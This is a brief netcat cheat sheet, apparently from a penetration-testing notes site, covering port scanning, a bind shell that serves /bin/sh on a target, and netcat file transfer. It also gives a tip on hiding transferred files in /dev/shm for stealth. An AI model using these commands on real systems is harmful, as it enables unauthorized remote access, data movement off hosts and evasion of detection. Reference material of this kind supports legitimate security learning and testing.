Netcat
nc — the original. For the SSL / allow-deny variant see
Ncat.
Port scan
nc -zv HOST START-ENDBind shell
nc -lp PORTNUM -e /bin/sh # on the target, then connect from your boxFile transfer
Local → remote:
nc -lp PORTNUM < FILENAME # sender (local)
nc -w3 local.machine.ip.addr PORTNUM > FILENAME # receiver (remote)Remote → local:
nc -lp PORTNUM > FILENAME # receiver (local)
nc -w3 local.machine.ip.addr PORTNUM < FILENAME # sender (remote)
/dev/shmlives in RAM — a handy scratch dir for transferred files. Prefix names with a.for a little extra stealth.
See also
- Ncat — the nmap-project rewrite, adds SSL and access control.
- Quick File Transfer — the
same goal via other tools (HTTP server,
scp). - Reverse Shell Cheat Sheet — netcat is one of several reverse-shell payloads there.
- socat — a more capable successor.